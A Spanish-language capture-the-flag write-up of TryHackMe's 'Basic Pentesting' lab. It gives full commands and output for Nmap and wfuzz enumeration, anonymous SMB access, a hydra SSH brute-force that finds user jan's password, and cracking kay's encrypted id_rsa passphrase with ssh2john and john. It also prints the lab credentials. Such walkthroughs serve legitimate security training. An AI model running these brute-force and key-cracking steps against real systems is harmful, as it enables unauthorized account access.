Entrada

Basic Pentesting Writeup - TryHackMe

¡Hola!

En este writeup, exploraremos la máquina Basic Pentesting de TryHackMe, la cual se clasifica como de dificultad fácil en la plataforma. Durante este desafío, realizaremos una enumeración web y SMB para descubrir posibles usuarios. Luego, llevaremos a cabo un ataque de fuerza bruta en el servicio SSH para encontrar una contraseña válida. Por último, escalaremos privilegios al romper el hash de la clave id_rsa y obtendremos acceso a través de SSH con un usuario de mayor privilegio.

¡Empecemos!

Reconocimiento activo


Como primer paso, lanzamos el comando ping desde nuestro equipo atacante para verificar si la máquina objetivo está activa.

1
2
3
4
5
6
7
❯ ping -c 1 10.10.132.236
PING 10.10.132.236 (10.10.132.236) 56(84) bytes of data.
64 bytes from 10.10.132.236: icmp_seq=1 ttl=61 time=278 ms

--- 10.10.132.236 ping statistics ---
1 packets transmitted, 1 received, 0% packet loss, time 0ms
rtt min/avg/max/mdev = 277.869/277.869/277.869/0.000 ms

Dado que el TTL es cercano a 64, podemos inferir que la máquina objetivo probablemente sea Linux.

Escaneo


A continuación, realizamos un escaneo con Nmap para identificar los puertos abiertos en el sistema objetivo.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ nmap -p- --open -n -sS -Pn --min-rate 5000 10.10.132.236 -oG allPorts.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 22:33 -05
Nmap scan report for 10.10.132.236
Host is up (0.34s latency).
Not shown: 65529 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
8009/tcp open  ajp13
8080/tcp open  http-proxy

Nmap done: 1 IP address (1 host up) scanned in 22.30 seconds

Enumeración


Seguidamente, efectuamos una enumeración de las versiones de los servicios asociados a los puertos abiertos. Además, activamos los scripts predeterminados de Nmap para realizar pruebas complementarias sobre los puertos y servicios identificados.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
❯ nmap -p 22,80,139,445,8009,8080 -sV -sC --min-rate 5000 10.10.132.236 -oN services.txt
Starting Nmap 7.93 ( https://nmap.org ) at 2023-05-19 22:36 -05
Nmap scan report for 10.10.132.236
Host is up (0.42s latency).

PORT     STATE SERVICE     VERSION
22/tcp   open  ssh         OpenSSH 7.2p2 Ubuntu 4ubuntu2.4 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 db45cbbe4a8b71f8e93142aefff845e4 (RSA)
|   256 09b9b91ce0bf0e1c6f7ffe8e5f201bce (ECDSA)
|_  256 a5682b225f984a62213da2e2c5a9f7c2 (ED25519)
80/tcp   open  http        Apache httpd 2.4.18 ((Ubuntu))
|_http-server-header: Apache/2.4.18 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 4.3.11-Ubuntu (workgroup: WORKGROUP)
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
| ajp-methods: 
|_  Supported methods: GET HEAD POST OPTIONS
8080/tcp open  http        Apache Tomcat 9.0.7
|_http-title: Apache Tomcat/9.0.7
|_http-favicon: Apache Tomcat
Service Info: Host: BASIC2; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_clock-skew: mean: 1h20m00s, deviation: 2h18m34s, median: 0s
| smb2-security-mode: 
|   311: 
|_    Message signing enabled but not required
|_nbstat: NetBIOS name: BASIC2, NetBIOS user: <unknown>, NetBIOS MAC: 000000000000 (Xerox)
| smb-security-mode: 
|   account_used: guest
|   authentication_level: user
|   challenge_response: supported
|_  message_signing: disabled (dangerous, but default)
| smb2-time: 
|   date: 2023-05-20T03:36:53
|_  start_date: N/A
| smb-os-discovery: 
|   OS: Windows 6.1 (Samba 4.3.11-Ubuntu)
|   Computer name: basic2
|   NetBIOS computer name: BASIC2\x00
|   Domain name: \x00
|   FQDN: basic2
|_  System time: 2023-05-19T23:36:51-04:00

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.71 seconds

El reporte revela que la máquina cuenta con varios servicios HTTP y el servicio SMB en funcionamiento.

HTTP - 80

Al acceder al servicio web, nos encontramos con la siguiente página, la cual aparentemente se encuentra en mantenimiento.

web

Al inspeccionar el código fuente de la página web, nos encontramos con el siguiente comentario:

source

A continuación, procedimos a realizar fuzzing de directorios utilizando la herramienta wfuzz.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
❯ wfuzz -c -L -t 200 --hc=404,403 --hh=158 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt http://10.10.132.236/FUZZ
********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://10.10.132.236/FUZZ
Total requests: 220560

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                              
=====================================================================

000000658:   200        17 L     69 W       1132 Ch     "development"                                                                                                        

Total time: 0
Processed Requests: 220560
Filtered Requests: 220559
Requests/sec.: 0

En resultado nos muestra únicamente la ruta development, así que procedimos a inspeccionar para ver de que se trata.

index

Al explorar el directorio, nos percatamos de que se trata de un listado de directorios que muestra un par de archivos de texto. Decidimos acceder a los archivos .txt para examinar su contenido.

dev

j

Al parecer son notas del desarrollador, la última nos revela que el usuario J tiene una contraseña débil que fácilmente puede ser crackeada.

HTTP - 8080

Por otro lado, en el puerto 8080 tenemos una página web por defecto de Tomcat.

web

SMB - 139/445

Proseguimos con la enumeración del servicio SMB, donde comenzamos por listar los recursos compartidos, obteniendo el siguiente resultado.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
❯ smbclient -L //10.10.132.236 -N

	Sharename       Type      Comment
	---------       ----      -------
	Anonymous       Disk      
	IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

	Server               Comment
	---------            -------

	Workgroup            Master
	---------            -------
	WORKGROUP            BASIC2

Uno de los recursos que nos ha llamado particularmente la atención es el denominado Anonymous, por lo que hemos procedido a descargarlo con el fin de realizar una inspección detallada.

1
2
3
4
5
6
7
8
9
10
❯ smbclient //10.10.132.236/Anonymous -N
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 12:31:20 2018
  ..                                  D        0  Thu Apr 19 12:13:06 2018
  staff.txt                           N      173  Thu Apr 19 12:29:55 2018

		14318640 blocks of size 1024. 11058056 blocks available
smb: \> get staff.txt 
getting file \staff.txt of size 173 as staff.txt (0,2 KiloBytes/sec) (average 0,2 KiloBytes/sec)

Al leer el archivo, nos encontramos con la siguiente información:

1
2
3
4
5
6
7
8
9
10
11
cat staff.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: staff.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ Announcement to staff:
   2   │ 
   3   │ PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
   4   │ this is how mistakes happen. (This means you too, Jan!)
   5   │ 
   6   │ -Kay
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────

De acuerdo a la nota previa, podemos identificar la presencia de dos posibles usuarios: Jan y Kay. Es probable que estos nombres estén relacionados con las menciones encontradas en las notas de los desarrolladores.

Explotación


Fuerza bruta sobre el servicio SSH

Considerando la presencia de los usuarios Jan y Kay, podríamos llevar a cabo un ataque de fuerza bruta en el servicio SSH con el objetivo de identificar posibles contraseñas.

1
2
3
4
5
6
7
8
9
10
11
❯ hydra -L users.txt -P /usr/share/wordlists/rockyou.txt 10.10.132.236 ssh
Hydra v9.4 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2023-05-19 23:28:22
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 28688798 login tries (l:2/p:14344399), ~1793050 tries per task
[DATA] attacking ssh://10.10.132.236:22/
[STATUS] 146.00 tries/min, 146 tries in 00:01h, 28688655 to do in 3274:58h, 13 active
[STATUS] 92.00 tries/min, 276 tries in 00:03h, 28688525 to do in 5197:12h, 13 active
[STATUS] 88.71 tries/min, 621 tries in 00:07h, 28688180 to do in 5389:38h, 13 active
[22][ssh] host: 10.10.132.236   login: jan   password: armando

Hemos logrado obtener la contraseña válida para el usuario Jan, lo que nos permite ahora acceder a la máquina de forma segura mediante SSH.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
❯ ssh jan@10.10.132.236
The authenticity of host '10.10.132.236 (10.10.132.236)' can't be established.
ED25519 key fingerprint is SHA256:XKjDkLKocbzjCch0Tpriw1PeLPuzDufTGZa4xMDA+o4.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.132.236' (ED25519) to the list of known hosts.
jan@10.10.132.236's password: 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

Last login: Mon Apr 23 15:55:45 2018 from 192.168.56.102
jan@basic2:~$

Escalación de privilegios


Al listar los archivos en la ruta del usuario Jan, nos encontramos con un único archivo oculto que posee permisos de lectura y escritura exclusivos para el usuario root.

1
2
3
4
5
jan@basic2:~$ ls -al
total 12
drwxr-xr-x 2 root root 4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 root jan    47 Apr 23  2018 .lesshst

Por otro lado, al explorar la ruta del usuario Kay, encontramos los siguientes directorios y archivos:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
jan@basic2:/home/kay$ ls -al
total 48
drwxr-xr-x 5 kay  kay  4096 Apr 23  2018 .
drwxr-xr-x 4 root root 4096 Apr 19  2018 ..
-rw------- 1 kay  kay   756 Apr 23  2018 .bash_history
-rw-r--r-- 1 kay  kay   220 Apr 17  2018 .bash_logout
-rw-r--r-- 1 kay  kay  3771 Apr 17  2018 .bashrc
drwx------ 2 kay  kay  4096 Apr 17  2018 .cache
-rw------- 1 root kay   119 Apr 23  2018 .lesshst
drwxrwxr-x 2 kay  kay  4096 Apr 23  2018 .nano
-rw------- 1 kay  kay    57 Apr 23  2018 pass.bak
-rw-r--r-- 1 kay  kay   655 Apr 17  2018 .profile
drwxr-xr-x 2 kay  kay  4096 Apr 23  2018 .ssh
-rw-r--r-- 1 kay  kay     0 Apr 17  2018 .sudo_as_admin_successful
-rw------- 1 root kay   538 Apr 23  2018 .viminfo

Uno de los archivos más interesantes que encontramos es pass.bak, pero para poder leer su contenido es necesario ser el usuario Kay.

Además, al acceder al directorio .ssh, descubrimos la presencia de una clave id_rsa, a la cual tenemos permisos de lectura.

1
2
3
4
5
6
7
jan@basic2:/home/kay/.ssh$ ls -al
total 20
drwxr-xr-x 2 kay kay 4096 Apr 23  2018 .
drwxr-xr-x 5 kay kay 4096 Apr 23  2018 ..
-rw-rw-r-- 1 kay kay  771 Apr 23  2018 authorized_keys
-rw-r--r-- 1 kay kay 3326 Apr 19  2018 id_rsa
-rw-r--r-- 1 kay kay  771 Apr 19  2018 id_rsa.pub

Podemos utilizar la clave id_rsa para acceder a la máquina como usuario Kay. Antes de proceder, debemos asegurarnos de otorgar los permisos necesarios para utilizar la clave de forma adecuada.

1
chmod 600 id_rsa

Una vez otorgados los permisos necesarios a la clave id_rsa, podemos proceder a acceder a la máquina utilizando dicha clave como autenticación.

1
2
❯ ssh kay@10.10.132.236 -i id_rsa
Enter passphrase for key 'id_rsa':

Dado que la clave id_rsa está encriptada y se nos solicita una contraseña para desencriptarla, podemos utilizar la herramienta ssh2john para convertir la clave id_rsa a un formato compatible con John the Ripper. De esta manera, podremos intentar crackear la contraseña de la clave.

1
❯ ssh2john id_rsa > hash_id_rsa

Ahora que tenemos el hash resultante de la clave id_rsa, podemos proporcionarlo a la herramienta john para que intente realizar un proceso de cracking y así obtener la contraseña original de la clave.

1
2
3
4
5
6
7
8
9
10
11
❯ john --wordlist=/usr/share/wordlists/rockyou.txt hash_id_rsa
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
beeswax          (id_rsa)     
1g 0:00:00:00 DONE (2023-05-20 00:16) 20.00g/s 1655Kp/s 1655Kc/s 1655KC/s behlat..bammer
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

Excelente. Hemos logrado obtener la contraseña para la clave id_rsa y ahora podemos acceder a la máquina como usuario Kay.

1
2
3
4
5
6
7
8
9
10
11
12
13
❯ ssh kay@10.10.132.236 -i id_rsa
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.4 LTS (GNU/Linux 4.4.0-119-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.

Last login: Mon Apr 23 16:04:07 2018 from 192.168.56.102
kay@basic2:~$

Una vez como usuario Kay ya podemos leer la contraseña final.

1
2
3
4
kay@basic2:~$ ls
pass.bak
kay@basic2:~$ cat pass.bak 
heresareallystrong***********************************

¡Happy Hacking!

Esta entrada está licenciada bajo CC BY 4.0 por el autor.